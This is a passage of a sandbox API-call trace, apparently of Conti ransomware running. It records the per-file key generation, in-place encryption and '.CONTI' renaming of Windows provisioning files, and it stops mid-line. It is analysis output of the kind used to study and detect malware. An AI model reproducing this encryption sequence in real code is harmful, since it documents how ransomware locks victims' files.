	[0109.792] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4307c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4307c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.793] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.793] ReadFile (in: hFile=0x30c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x300, lpOverlapped=0x0) returned 1
	[0109.793] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x300, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x310) returned 1
	[0109.793] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.793] WriteFile (in: hFile=0x30c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x310, lpOverlapped=0x0) returned 1
	[0109.794] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.794] WriteFile (in: hFile=0x30c, lpBuffer=0x6b43070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b43070*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0109.794] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.794] CloseHandle (hObject=0x30c) returned 1
	[0109.794] GetProcessHeap () returned 0x1720000
	[0109.794] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.794] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml"
	[0109.794] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0109.794] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0109.798] GetProcessHeap () returned 0x1720000
	[0109.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.798] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0109.798] GetProcessHeap () returned 0x1720000
	[0109.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b716a0 | out: hHeap=0x1720000) returned 1
	[0109.798] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0109.798] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b40bf8 | out: phKey=0x6b40bf8*=0x6b7f1f8) returned 1
	[0109.798] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b40bfc, pdwDataLen=0x4e7fc24 | out: pbData=0x6b40bfc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0109.799] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0109.799] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0109.799] GetLastError () returned 0x0
	[0109.799] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=703) returned 1
	[0109.799] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bf
	[0109.799] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.799] SetEndOfFile (hFile=0x30c) returned 1
	[0109.800] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.800] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.800] WriteFile (in: hFile=0x30c, lpBuffer=0x6b40bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b40bfc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.469] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.469] ReadFile (in: hFile=0x30c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2bf, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2bf, lpOverlapped=0x0) returned 1
	[0110.469] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2bf, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2c0) returned 1
	[0110.470] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.470] WriteFile (in: hFile=0x30c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2c0, lpOverlapped=0x0) returned 1
	[0110.470] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.470] WriteFile (in: hFile=0x30c, lpBuffer=0x6b40bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b40bf0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0110.470] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.470] CloseHandle (hObject=0x30c) returned 1
	[0110.470] GetProcessHeap () returned 0x1720000
	[0110.470] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.847] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml"
	[0110.847] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml.CONTI"
	[0110.847] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0110.848] GetProcessHeap () returned 0x1720000
	[0110.848] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.848] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0110.848] GetProcessHeap () returned 0x1720000
	[0110.848] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b717e8 | out: hHeap=0x1720000) returned 1
	[0110.848] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0110.848] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6570170 | out: phKey=0x6570170*=0x17c7b70) returned 1
	[0110.848] CryptExportKey (in: hKey=0x17c7b70, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6570174, pdwDataLen=0x4e7fc24 | out: pbData=0x6570174*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0110.849] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.849] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0110.850] GetLastError () returned 0x0
	[0110.850] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=650) returned 1
	[0110.850] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0110.850] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.850] SetEndOfFile (hFile=0x3e4) returned 1
	[0110.850] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.850] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.850] WriteFile (in: hFile=0x3e4, lpBuffer=0x6570174*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6570174*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.853] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.853] ReadFile (in: hFile=0x3e4, lpBuffer=0xe470000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x28a, lpOverlapped=0x0) returned 1
	[0110.853] CryptEncrypt (in: hKey=0x17c7b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x28a, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x290) returned 1
	[0110.853] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.853] WriteFile (in: hFile=0x3e4, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x290, lpOverlapped=0x0) returned 1
	[0110.853] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.853] WriteFile (in: hFile=0x3e4, lpBuffer=0x6570168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6570168*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0110.853] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.854] CloseHandle (hObject=0x3e4) returned 1
	[0110.854] GetProcessHeap () returned 0x1720000
	[0110.854] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.854] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.854] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.854] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.854] GetProcessHeap () returned 0x1720000
	[0110.854] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.854] CryptDestroyKey (hKey=0x17c7b70) returned 1
	[0110.854] GetProcessHeap () returned 0x1720000
	[0110.855] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656d988 | out: hHeap=0x1720000) returned 1
	[0110.855] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0110.855] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x656e858 | out: phKey=0x656e858*=0x17c7af0) returned 1
	[0110.855] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656e85c, pdwDataLen=0x4e7fc24 | out: pbData=0x656e85c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0110.856] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.856] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0110.856] GetLastError () returned 0x0
	[0110.856] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=673) returned 1
	[0110.856] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2a1
	[0110.856] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.856] SetEndOfFile (hFile=0x3e4) returned 1
	[0110.856] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.856] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.856] WriteFile (in: hFile=0x3e4, lpBuffer=0x656e85c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x656e85c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.863] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.863] ReadFile (in: hFile=0x3e4, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2a1, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2a1, lpOverlapped=0x0) returned 1
	[0110.863] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2a1, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2b0) returned 1
	[0110.863] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.863] WriteFile (in: hFile=0x3e4, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2b0, lpOverlapped=0x0) returned 1
	[0110.863] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.863] WriteFile (in: hFile=0x3e4, lpBuffer=0x656e850*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x656e850*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0110.863] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.863] CloseHandle (hObject=0x3e4) returned 1
	[0110.863] GetProcessHeap () returned 0x1720000
	[0110.863] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.863] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.863] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.863] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: 